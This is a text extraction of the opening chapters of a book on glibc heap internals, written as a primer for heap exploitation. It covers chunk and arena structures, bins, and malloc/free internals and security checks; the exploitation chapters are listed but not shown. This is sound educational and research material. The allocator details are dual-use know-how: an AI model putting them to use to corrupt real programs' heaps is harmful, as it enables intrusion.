table of contents · understanding glibc malloc understanding the heap by breaking it before moving...

54

Upload: others

Post on 23-Jan-2021

13 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1
Page 2: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

1.1

1.2

1.3

1.4

1.5

1.5.1

1.5.2

1.5.3

1.5.4

1.5.5

1.5.6

1.6

1.6.1

1.6.2

1.6.3

1.6.4

1.6.5

1.6.6

1.6.7

1.6.8

1.6.9

1.7

TableofContentsPreface

Author

Introduction

HeapMemory

Divingintoglibcheap

malloc_chunk

malloc_state

BinsandChunks

InternalFunctions

CoreFunctions

SecurityChecks

HeapExploitation

FirstFit

DoubleFree

Forgingchunks

UnlinkExploit

ShrinkingFreeChunks

HouseofSpirit

HouseofLore

HouseofForce

HouseofEinherjar

SecureCodingGuidelines

2

Page 3: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

HeapExploitationThisshortbookiswrittenforpeoplewhowanttounderstandtheinternalsof'heapmemory',particularlytheimplementationofglibc's'malloc'and'free'procedures,andalsoforsecurityresearcherswhowanttogetstartedinthefieldofheapexploitation.

Thefirstsectionofthebookcoversanin-depth,yetconcise,descriptionaboutheapinternals.Thesecondsectioncoverssomeofthemostfamousattacks.Itisassumedthatthereaderisunfamiliarwiththistopic.Forexperiencedreaders,thistextmightbegoodforaquickrevision.

Thisisnotthefinalversionandwillkeeponupdating.Forcontributingseethis.ThesourcecodeforthebookcanbefoundonGitHub.ThecanonicalURLforthebookishttps://heap-exploitation.dhavalkapil.com.Youcansubscribeforupdatesonthebookwebsite.

Readforfreeonline(recommended)ordownloadthePDForePUBorMobi/Kindleeditions.

YoucansupportthisbookbydonatingonGratipay.

ThisworkislicensedunderaCreativeCommonsAttribution-ShareAlike4.0InternationalLicense.

Preface

3

Page 4: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

AuthorIamDhavalKapil,alsoknownas'vampire'.Iamasoftwaresecurityenthusiast,alwaysreadinguportryingtofindvulnerabilitiesineverydaysoftware.I'llbegraduatingfromIndianInstituteofTechnologyRoorkee(IITRoorkee)inComputerSciencethisyear.IwaspartofSDSLabs,whereIdevelopedBackdoor.I'llbejoiningGeorgiaTechasaMaster'sstudentthisfall.SoftwaredevelopmentismyhobbyandI'vealsocompletedtheGoogleSummerofCodeprogramtwice.FindmeonGithubandTwitter.

Thisbookstartedoutasanarticleformyblog.Eventually,alotofmatterfilledinandittransformedintoashortbook.Theseareacollectionofmynotes,gatheredbylookingupvariousonlineresourcesregardingheapandheapexploitation.

[email protected].

Author

4

Page 5: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

IntroductionThisbookisforunderstandingthestructureofheapmemoryaswellasthedifferentkindsofexploitationtechniquesrelatedtoit.Thematerialprovidedcoversindetailtheimplementationofglibc'sheapandrelatedmemorymanagementfunctions.Next,differenttypesofattacksarediscussed.

PrerequisitesItisassumedthatthereaderisunfamiliarabouttheinternalsofstandardlibraryproceduressuchas'malloc'and'free'.However,basicknowledgeabout'C'andoverflowingthebufferisrequired.Thesecanbecoveredinthisblogpost.

SetupAlltheprogramsprovidedinthefollowingsectionsworkwellwithPOSIXcompatiblemachines.Onlytheimplementationofglibc'sheapisdiscussed.

Introduction

5

Page 6: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Heapmemory

WhatisHeap?Heapisamemoryregionallottedtoeveryprogram.Unlikestack,heapmemorycanbedynamicallyallocated.Thismeansthattheprogramcan'request'and'release'memoryfromtheheapsegmentwheneveritrequires.Also,thismemoryisglobal,i.e.itcanbeaccessedandmodifiedfromanywherewithinaprogramandisnotlocalizedtothefunctionwhereitisallocated.Thisisaccomplishedusing'pointers'toreferencedynamicallyallocatedmemorywhichinturnleadstoasmalldegradationinperformanceascomparedtousinglocalvariables(onthestack).

Usingdynamicmemorystdlib.hprovideswithstandardlibraryfunctionstoaccess,modifyandmanagedynamicmemory.Commonlyusedfunctionsincludemallocandfree:

//Dynamicallyallocate10bytes

char*buffer=(char*)malloc(10);

strcpy(buffer,"hello");

printf("%s\n",buffer);//prints"hello"

//Frees/unallocatesthedynamicmemoryallocatedearlier

free(buffer);

Thedocumentationabout'malloc'and'free'says:

malloc:

HeapMemory

6

Page 7: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

/*

malloc(size_tn)

Returnsapointertoanewlyallocatedchunkofatleastn

bytes,ornullifnospaceisavailable.Additionally,on

failure,errnoissettoENOMEMonANSICsystems.

Ifniszero,mallocreturnsaminimum-sizedchunk.(The

minimumsizeis16bytesonmost32bitsystems,and24or32

byteson64bitsystems.)Onmostsystems,size_tisanunsigned

type,socallswithnegativeargumentsareinterpretedas

requestsforhugeamountsofspace,whichwilloftenfail.The

maximumsupportedvalueofndiffersacrosssystems,butisin

allcaseslessthanthemaximumrepresentablevalueofa

size_t.

*/

free:

/*

free(void*p)

Releasesthechunkofmemorypointedtobyp,thathadbeen

previouslyallocatedusingmallocorarelatedroutinesuchas

realloc.Ithasnoeffectifpisnull.Itcanhavearbitrary

(i.e.,bad!)effectsifphasalreadybeenfreed.

Unlessdisabled(usingmallopt),freeingverylargespaceswill

whenpossible,automaticallytriggeroperationsthatgive

backunusedmemorytothesystem,thusreducingprogram

footprint.

*/

Itisimportanttonotethatthesememoryallocationfunctionsareprovidedbythestandardlibrary.Thesefunctionsprovidealayerbetweenthedeveloperandtheoperatingsystemthatefficientlymanagesheapmemory.Itistheresponsibilityofthedeveloperto'free'anyallocatedmemoryafterusingitexactlyonce.Internally,thesefunctionsusetwosystemcallssbrkandmmaptorequestandreleaseheapmemoryfromtheoperatingsystem.Thispostdiscussesthesesystemcallsindetail.

HeapMemory

7

Page 8: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

DivingintoglibcheapInthissection,implementationofglibc'sheapmanagementfunctionswillbediscussedindepth.Theanalysiswasdoneonglibc'ssourcecodedated27thMarch2017.Thesourceisverywelldocumented.

Apartfromthesourcecode,thematterpresentedisinfluencedby:

UnderstandingglibcmallocUnderstandingtheheapbybreakingit

Beforemovingintotheimplementation,itisimportanttokeepthefollowingnotesinmind:

1. Insteadofsize_t,INTERNAL_SIZE_Tisusedinternally(whichbydefaultisequaltosize_t).

2. Alignmentisdefinedas2*(sizeof(size_t)).

3. MORECOREisdefinedastheroutinetocalltoobtainmorememory.Bydefaultitisdefinedassbrk.

Next,weshallstudythedifferentdatatypesusedinternally,bins,chunks,andinternalsofthedifferentfunctionsused.

AdditionalResources1. r2Con2016GlibcHeapAnalysiswithradare2video

Divingintoglibcheap

8

Page 9: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

malloc_chunkThisstructurerepresentsaparticularchunkofmemory.Thevariousfieldshavedifferentmeaningforallocatedandunallocatedchunks.

structmalloc_chunk{

INTERNAL_SIZE_Tmchunk_prev_size;/*Sizeofpreviouschunk(iffree).*/

INTERNAL_SIZE_Tmchunk_size;/*Sizeinbytes,includingoverhead.*/

structmalloc_chunk*fd;/*doublelinks--usedonlyiffree.*/

structmalloc_chunk*bk;

/*Onlyusedforlargeblocks:pointertonextlargersize.*/

structmalloc_chunk*fd_nextsize;/*doublelinks--usedonlyiffree.*/

structmalloc_chunk*bk_nextsize;

};

typedefstructmalloc_chunk*mchunkptr;

Allocatedchunk

chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Sizeofpreviouschunk,ifunallocated(Pclear)|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Sizeofchunk,inbytes|A|M|P|

mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Userdatastartshere....

..

.(malloc_usable_size()bytes).

.|

nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|(sizeofchunk,butusedforapplicationdata)|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Sizeofnextchunk,inbytes|A|0|1|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Noticehowthedataofanallocatedchunkusesthefirstattribute(mchunk_prev_size)ofthenextchunk.memisthepointerwhichisreturnedtotheuser.

Freechunk

malloc_chunk

9

Page 10: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Sizeofpreviouschunk,ifunallocated(Pclear)|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

`head:'|Sizeofchunk,inbytes|A|0|P|

mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Forwardpointertonextchunkinlist|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Backpointertopreviouschunkinlist|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Unusedspace(maybe0byteslong).

..

.|

nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

`foot:'|Sizeofchunk,inbytes|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Sizeofnextchunk,inbytes|A|0|0|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Freechunksmaintainthemselvesinacirculardoublylinkedlist.

P(PREV_INUSE):0whenpreviouschunk(notthepreviouschunkinthelinkedlist,buttheonedirectlybeforeitinmemory)isfree(andhencethesizeofpreviouschunkisstoredinthefirstfield).Theveryfirstchunkallocatedhasthisbitset.Ifitis1,thenwecannotdeterminethesizeofthepreviouschunk.

M(IS_MMAPPED):Thechunkisobtainedthroughmmap.Theothertwobitsareignored.mmappedchunksareneitherinanarena,notadjacenttoafreechunk.

A(NON_MAIN_ARENA):0forchunksinthemainarena.Eachthreadspawnedreceivesitsownarenaandforthosechunks,thisbitisset.

Note:Chunksinfastbinsaretreatedasallocatedchunksinthesensethattheyarenotconsolidatedwithneighboringfreechunks.

malloc_chunk

10

Page 11: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

malloc_stateThisstructurerepresentstheheaderdetailsofanArena.Themainthread'sarenaisaglobalvariableandnotpartoftheheapsegment.Arenaheaders(malloc_statestructures)forotherthreadsarethemselvesstoredintheheapsegment.Nonmainarenascanhavemultipleheaps('heap'herereferstotheinternalstructureusedinsteadoftheheapsegment)associatedwiththem.

structmalloc_state

{

/*Serializeaccess.*/

__libc_lock_define(,mutex);

/*Flags(formerlyinmax_fast).*/

intflags;

/*Fastbins*/

mfastbinptrfastbinsY[NFASTBINS];

/*Baseofthetopmostchunk--nototherwisekeptinabin*/

mchunkptrtop;

/*Theremainderfromthemostrecentsplitofasmallrequest*/

mchunkptrlast_remainder;

/*Normalbinspackedasdescribedabove*/

mchunkptrbins[NBINS*2-2];

/*Bitmapofbins*/

unsignedintbinmap[BINMAPSIZE];

/*Linkedlist*/

structmalloc_state*next;

/*Linkedlistforfreearenas.Accesstothisfieldisserialized

byfree_list_lockinarena.c.*/

structmalloc_state*next_free;

/*Numberofthreadsattachedtothisarena.0ifthearenaison

thefreelist.Accesstothisfieldisserializedby

free_list_lockinarena.c.*/

INTERNAL_SIZE_Tattached_threads;

/*Memoryallocatedfromthesysteminthisarena.*/

INTERNAL_SIZE_Tsystem_mem;

INTERNAL_SIZE_Tmax_system_mem;

};

typedefstructmalloc_state*mstate;

malloc_state

11

Page 12: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

malloc_state

12

Page 13: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

BinsandChunksAbinisalist(doublyorsinglylinkedlist)offree(non-allocated)chunks.Binsaredifferentiatedbasedonthesizeofchunkstheycontain:

1. Fastbin2. Unsortedbin3. Smallbin4. Largebin

Fastbinsaremaintainedusing:

typedefstructmalloc_chunk*mfastbinptr;

mfastbinptrfastbinsY[];//Arrayofpointerstochunks

Unsorted,smallandlargebinsaremaintainedusingasinglearray:

typedefstructmalloc_chunk*mchunkptr;

mchunkptrbins[];//Arrayofpointerstochunks

Initially,duringtheinitializationprocess,smallandlargebinsareempty.

Eachbinisrepresentedbytwovaluesinthebinsarray.Thefirstoneisapointertothe'HEAD'andthesecondoneisapointertothe'TAIL'ofthebinlist.Inthecaseoffastbins(singlylinkedlist),thesecondvalueisNULL.

FastbinsThereare10fastbins.Eachofthesebinsmaintainsasinglelinkedlist.Additionanddeletionhappenfromthefrontofthislist(LIFOmanner).

Eachbinhaschunksofthesamesize.The10binseachhavechunksofsizes:16,24,32,40,48,56,64,72,80and88.Sizesmentionedhereincludemetadataaswell.Tostorechunks,4fewerbyteswillbeavailable(onaplatformwherepointersuse4bytes).Onlytheprev_sizeandsizefieldofthischunkwillholdmetadataforallocatedchunks.prev_sizeofnextcontiguouschunkwillholduserdata.

Notwocontiguousfreefastchunkscoalescetogether.

BinsandChunks

13

Page 14: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

UnsortedbinThereisonly1unsortedbin.Smallandlargechunks,whenfreed,endupinthisbin.Theprimarypurposeofthisbinistoactasacachelayer(kindof)tospeedupallocationanddeallocationrequests.

SmallbinsThereare62smallbins.Smallbinsarefasterthanlargebinsbutslowerthanfastbins.Eachbinmaintainsadoubly-linkedlist.Insertionshappenatthe'HEAD'whileremovalshappenatthe'TAIL'(inaFIFOmanner).

Likefastbins,eachbinhaschunksofthesamesize.The62binshavesizes:16,24,...,504bytes.

Whilefreeing,smallchunksmaybecoalescedtogetherbeforeendingupinunsortedbins.

LargebinsThereare63largebins.Eachbinmaintainsadoubly-linkedlist.Aparticularlargebinhaschunksofdifferentsizes,sortedindecreasingorder(i.e.largestchunkatthe'HEAD'andsmallestchunkatthe'TAIL').Insertionsandremovalshappenatanypositionwithinthelist.

Thefirst32binscontainchunkswhichare64bytesapart:

1stbin:512-568bytes2ndbin:576-632bytes..

Tosummarize:

No.ofBinsSpacingbetweenbins

64binsofsize8[Smallbins]

32binsofsize64[Largebins]

16binsofsize512[Largebins]

8binsofsize4096[..]

4binsofsize32768

2binsofsize262144

1binofsizewhat'sleft

BinsandChunks

14

Page 15: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Likesmallchunks,whilefreeing,largechunksmaybecoalescedtogetherbeforeendingupinunsortedbins.

Therearetwospecialtypesofchunkswhicharenotpartofanybin.

TopchunkItisthechunkwhichbordersthetopofanarena.Whileservicing'malloc'requests,itisusedasthelastresort.Ifstillmoresizeisrequired,itcangrowusingthesbrksystemcall.ThePREV_INUSEflagisalwayssetforthetopchunk.

LastremainderchunkItisthechunkobtainedfromthelastsplit.Sometimes,whenexactsizechunksarenotavailable,biggerchunksaresplitintotwo.Onepartisreturnedtotheuserwhereastheotherbecomesthelastremainderchunk.

BinsandChunks

15

Page 16: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

InternalfunctionsThisisalistofsomecommonfunctionsusedinternally.Notethatsomefunctionsareinfactdefinedusingthe#definedirective.So,changestocallparametersareinfactretainedafterthecall.Also,itisassumedthatMALLOC_DEBUGisnotset.

arena_get(ar_ptr,size)Acquiresanarenaandlocksthecorrespondingmutex.ar_ptrissettopointtothecorrespondingarena.sizeisjustahintastohowmuchmemorywillberequiredimmediately.

sysmalloc[TODO]

/*

sysmallochandlesmalloccasesrequiringmorememoryfromthesystem.

Onentry,itisassumedthatav->topdoesnothaveenough

spacetoservicerequestfornbbytes,thusrequiringthatav->top

beextendedorreplaced.

*

voidalloc_perturb(char*p,size_tn)Ifperturb_byte(tunableparameterformallocusingM_PERTURB)isnon-zero(bydefaultitis0),setsthenbytespointedtobyptobeequaltoperturb_byte^0xff.

voidfree_perturb(char*p,size_tn)Ifperturb_byte(tunableparameterformallocusingM_PERTURB)isnon-zero(bydefaultitis0),setsthenbytespointedtobyptobeequaltoperturb_byte.

voidmalloc_init_state(mstateav)

InternalFunctions

16

Page 17: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

/*

Initializeamalloc_statestruct.

Thisiscalledonlyfromwithinmalloc_consolidate,whichneeds

becalledinthesamecontextsanyway.Itisnevercalleddirectly

outsideofmalloc_consolidatebecausesomeoptimizingcompilerstry

toinlineitatallcallpoints,whichturnsoutnottobean

optimizationatall.(Inliningitinmalloc_consolidateisfinethough.)

*/

1. Fornonfastbins,createemptycircularlinkedlistsforeachbin.2. SetFASTCHUNKS_BITflagforav.3. Initializeav->toptothefirstunsortedchunk.

unlink(AV,P,BK,FD)Thisisadefinedmacrowhichremovesachunkfromabin.

1. Checkifchunksizeisequaltotheprevioussizesetinthenextchunk.Else,anerror("corruptedsizevs.prev_size")isthrown.

2. CheckifP->fd->bk==PandP->bk->fd==P.Else,anerror("corrupteddouble-linkedlist")isthrown.

3. Adjustforwardandbackwardpointersofneighboringchunks(inlist)tofacilitateremoval:i. SetP->fd->bk=P->bk.ii. SetP->bk->fd=P->fd.

voidmalloc_consolidate(mstateav)Thisisaspecializedversionoffree().

1. Chechifglobal_max_fastis0(avnotinitialized)ornot.Ifitis0,callmalloc_init_statewithavasparameterandreturn.

2. Ifglobal_max_fastisnon-zero,cleartheFASTCHUNKS_BITforav.3. Iterateonthefastbinarrayfromfirsttolastindices:

i. Getalockonthecurrentfastbinchunkandproceedifnotnull.ii. Ifpreviouschunk(bymemory)isnotinuse,callunlinkonthepreviouschunk.iii. Ifnextchunk(bymemory)isnottopchunk:

i. Ifnextchunkisnotinuse,callunlinkonthenextchunk.ii. Mergethechunkwithprevious,next(bymemory),ifanyisfree,andthenadd

theconsolidatedchunktotheheadofunsortedbin.

InternalFunctions

17

Page 18: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

iv. Ifnextchunk(bymemory)wasatopchunk,mergethechunksappropriatelyintoasingletopchunk.

Note:Thecheckfor'inuse'isdoneusingPREV_IN_USEflag.Hence,otherfastbinchunkswon'tidentifiedasfreehere.

InternalFunctions

18

Page 19: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

Corefunctions

void*_int_malloc(mstateav,size_tbytes)1. Updatesbytestotakecareofalignments,etc.2. ChecksifavisNULLornot.3. Inthecaseofabsenceofusablearena(whenavisNULL),callssysmalloctoobtain

chunkusingmmap.Ifsuccessful,callsalloc_perturb.Returnsthepointer.4.

Ifsizefallsinthefastbinrange:

i. Getindexintothefastbinarraytoaccessanappropriatebinaccordingtotherequestsize.

ii. Removesthefirstchunkinthatbinandmakevictimpointtoit.iii. IfvictimisNULL,moveontothenextcase(smallbin).iv. IfvictimisnotNULL,checkthesizeofthechunktoensurethatitbelongsto

thatparticularbin.Anerror("malloc():memorycorruption(fast)")isthrownotherwise.

v. Callsalloc_perturbandthenreturnsthepointer.Ifsizefallsinthesmallbinrange:

i. Getindexintothesmallbinarraytoaccessanappropriatebinaccordingtotherequestsize.

ii. Iftherearenochunksinthisbin,moveontothenextcase.Thisischeckedbycomparingthepointersbinandbin->bk.

iii. victimismadeequaltobin->bk(thelastchunkinthebin).IfitisNULL(happensduringinitialization),callmalloc_consolidateandskipthiscompletestepofcheckingintodifferentbins.

iv. Otherwise,whenvictimisnonNULL,checkifvictim->bk->fdandvictimareequalornot.Iftheyarenotequal,anerror("malloc():smallbindoublelinkedlistcorrupted")isthrown.

v. SetsthePREV_INSUSEbitforthenextchunk(inmemory,notinthedoublylinkedlist)forvictim.

vi. Removethischunkfromthebinlist.vii. Settheappropriatearenabitforthischunkdependingonav.viii. Callsalloc_perturbandthenreturnsthepointer.Ifsizedoesnotfallinthesmallbinrange:

i. Getindexintothelargebinarraytoaccessanappropriatebinaccordingtothe

CoreFunctions

19

Page 20: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

requestsize.ii. Seeifavhasfastchunksornot.Thisisdonebycheckingthe

FASTCHUNKS_BITinav->flags.Ifso,callmalloc_consolidateonav.5. Ifnopointerhasyetbeenreturned,thissignifiesoneormoreofthefollowingcases:

i. Sizefallsinto'fastbin'rangebutnofastchunkisavailable.ii. Sizefallsinto'smallbin'rangebutnosmallchunkisavailable(calls

malloc_consolidateduringinitialization).iii. Sizefallsinto'largbin'range.

6. Next,unsortedchunksarecheckedandtraversedchunksareplacedintobins.Thisistheonlyplacewherechunksareplacedintobins.Iteratetheunsortedbinfromthe'TAIL'.

i. victimpointstothecurrentchunkbeingconsidered.ii. Checkifvictim'schunksizeiswithinminimum(2*SIZE_SZ)andmaximum(av-

>system_mem)range.Throwanerror("malloc():memorycorruption")otherwise.iii. If(sizeofrequestedchunkfallsinsmallbinrange)and(victimisthelast

remainderchunk)and(itistheonlychunkintheunsortedbin)and(thechunkssize>=theonerequested):Breakthechunkinto2chunks:

Thefirstchunkmatchesthesizerequestedandisreturned.Leftoverchunkbecomesthenewlastremainderchunk.Itisinsertedbackintotheunsortedbin.i. Setchunk_sizeandchunk_prev_sizefieldsappropriatelyforbothchunks.

ii. Thefirstchunkisreturnedaftercallingalloc_perturb.iv. Iftheaboveconditionisfalse,controlreacheshere.Removevictimfromthe

unsortedbin.Ifthesizeofvictimmatchesthesizerequestedexactly,returnthischunkaftercallingalloc_perturb.

v. Ifvictim'ssizefallsinsmallbinrange,addthechunkintheappropriatesmallbinattheHEAD.

vi. Elseinsertintoappropriatelargebinwhilemaintainingsortedorder:Firstchecksthelastchunk(smallest).Ifvictimissmallerthanthelastchunk,insertitatthelast.Otherwise,looptofindachunkwithsize>=sizeofvictim.Ifsizeisexactlysame,alwaysinsertinthesecondposition.

vii. RepeatthiswholestepamaximumofMAX_ITERS(10000)timesortillallchunksinunsortedbingetexhausted.

7. Aftercheckingunsortedchunks,checkifrequestedsizedoesnotfallinthesmallbinrange,ifsothenchecklargebins.

i. Getindexintolargebinarraytoaccessanappropriatebinaccordingtotherequestsize.

CoreFunctions

20

Page 21: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

ii. Ifthesizeofthelargestchunk(thefirstchunkinthebin)isgreaterthanthesizerequested:i. Iteratefrom'TAIL'tofindachunk(victim)withthesmallestsize>=therequestedsize.

ii. Callunlinktoremovethevictimchunkfromthebin.iii. Calculateremainder_sizeforthevictim'schunk(thiswillbevictim's

chunksize-requestedsize).iv. Ifthisremainder_size>=MINSIZE(theminimumchunksizeincludingthe

headers),splitthechunkintotwochunks.Otherwise,theentirevictimchunkwillbereturned.Inserttheremainderchunkintheunsortedbin(atthe'TAIL'end).Acheckismadeinunsortedbinwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av).Anerroristhrownotherwise("malloc():corruptedunsortedchunks").

v. Returnthevictimchunkaftercallingalloc_perturb.8. Tillnow,wehavecheckedunsortedbinandalsotherespectivefast,smallorlargebin.

Notethatasinglebin(fastorsmall)wascheckedusingtheexactsizeoftherequestedchunk.Repeatthefollowingstepstillallbinsareexhausted:

i. Theindexintobinarrayisincrementedtocheckthenextbin.ii. Useav->binmapmaptoskipoverbinsthatareempty.iii. victimispointedtothe'TAIL'ofthecurrentbin.iv. Usingthebinmapensuresthatifabinisskipped(intheabove2ndstep),itis

definitelyempty.However,itdoesnotensurethatallemptybinswillbeskipped.Checkifthevictimisemptyornot.Ifempty,againskipthebinandrepeattheaboveprocess(or'continue'thisloop)tillwearriveatanonemptybin.

v. Splitthechunk(victimpointstothelastchunkofanonemptybin)intotwochunks.Inserttheremainderchunkinunsortedbin(atthe'TAIL'end).Acheckismadeintheunsortedbinwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av).Anerroristhrownotherwise("malloc():corruptedunsortedchunks2").

vi. Returnthevictimchunkaftercallingalloc_perturb.9. Ifstillnoemptybinisfound,'top'chunkwillbeusedtoservicetherequest:

i. victimpointstoav->top.ii. Ifsizeof'top'chunk>='requestedsize'+MINSIZE,splititintotwochunks.Inthis

case,theremainderchunkbecomesthenew'top'chunkandtheotherchunkisreturnedtotheuseraftercallingalloc_perturb.

iii. Seeifavhasfastchunksornot.ThisisdonebycheckingtheFASTCHUNKS_BITinav->flags.Ifso,callmalloc_consolidateonav.Returntostep6(wherewecheckunsortedbin).

iv. Ifavdoesnothavefastchunks,callsysmallocandreturnthepointerobtained

CoreFunctions

21

Page 22: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

aftercallingalloc_perturb.

__libc_malloc(size_tbytes)1. Callsarena_gettogetanmstatepointer.2. Calls_int_mallocwiththearenapointerandthesize.3. Unlocksthearena.4. Beforereturningthepointertothechunk,oneofthefollowingshouldbetrue:

ReturnedpointerisNULLChunkisMMAPPEDArenaforchunkisthesameastheonefoundin1.

_int_free(mstateav,mchunkptrp,inthave_lock)1. Checkwhetherpisbeforep+chunksize(p)inthememory(toavoidwrapping).An

error("free():invalidpointer")isthrownotherwise.2. CheckwhetherthechunkisatleastofsizeMINSIZEoramultipleofMALLOC_ALIGNMENT.

Anerror("free():invalidsize")isthrownotherwise.3. Ifthechunk'ssizefallsinfastbinlist:

i. Checkifnextchunk'ssizeisbetweenminimumandmaximumsize(av->system_mem),throwanerror("free():invalidnextsize(fast)")otherwise.

ii. Callsfree_perturbonthechunk.iii. SetFASTCHUNKS_BITforav.iv. Getindexintofastbinarrayaccordingtochunksize.v. Checkifthetopofthebinisnotthechunkwearegoingtoadd.Otherwise,throw

anerror("doublefreeorcorruption(fasttop)").vi. Checkifthesizeofthefastbinchunkatthetopisthesameasthechunkweare

adding.Otherwise,throwanerror("invalidfastbinentry(free)").vii. Insertthechunkatthetopofthefastbinlistandreturn.

4. Ifthechunkisnotmmapped:i. Checkifthechunkisthetopchunkornot.Ifyes,anerror("doublefreeorcorruption(top)")isthrown.

ii. Checkwhethernextchunk(bymemory)iswithintheboundariesofthearena.Ifnot,anerror("doublefreeorcorruption(out)")isthrown.

iii. Checkwhethernextchunk's(bymemory)previousinusebitismarkedornot.Ifnot,anerror("doublefreeorcorruption(!prev)")isthrown.

iv. Checkwhetherthesizeofnextchunkisbetweentheminimumandmaximumsize

CoreFunctions

22

Page 23: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

(av->system_mem).Ifnot,anerror("free():invalidnextsize(normal)")isthrown.v. Callfree_perturbonthechunk.vi. Ifpreviouschunk(bymemory)isnotinuse,callunlinkonthepreviouschunk.vii. Ifnextchunk(bymemory)isnottopchunk:

i. Ifnextchunkisnotinuse,callunlinkonthenextchunk.ii. Mergethechunkwithprevious,next(bymemory),ifanyisfreeandadditto

theheadofunsortedbin.Beforeinserting,checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)ornot.Ifnot,anerror("free():corruptedunsortedchunks")isthrown.

viii. Ifnextchunk(bymemory)wasatopchunk,mergethechunksappropriatelyintoasingletopchunk.

5. Ifthechunkwasmmapped,callmunmap_chunk.

__libc_free(void*mem)1. ReturnifmemisNULL.2. Ifthecorrespondingchunkismmapped,callmunmap_chunkifthedynamicbrk/mmap

thresholdneedsadjusting.3. Getarenapointerforthatcorrespondingchunk.4. Call_int_free.

CoreFunctions

23

Page 24: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1

SecurityChecksThispresentsasummaryofthesecuritychecksintroducedinglibc'simplementationtodetectandpreventheaprelatedattacks.

Function SecurityCheck Error

unlink Whetherchunksizeisequaltotheprevioussizesetinthenextchunk(inmemory)

corruptedsizevs.prev_size

unlink WhetherP->fd->bk==PandP->bk->fd==P*corrupteddouble-linkedlist

_int_mallocWhileremovingthefirstchunkfromfastbin(toserviceamallocrequest),checkwhetherthesizeofthechunkfallsinfastchunksizerange

malloc():memorycorruption(fast)

_int_mallocWhileremovingthelastchunk(victim)fromasmallbin(toserviceamallocrequest),checkwhethervictim->bk->fdandvictimareequal

malloc():smallbindoublelinkedlistcorrupted

_int_mallocWhileiteratinginunsortedbin,checkwhethersizeofcurrentchunkiswithinminimum(2*SIZE_SZ)andmaximum(av->system_mem)range

malloc():memorycorruption

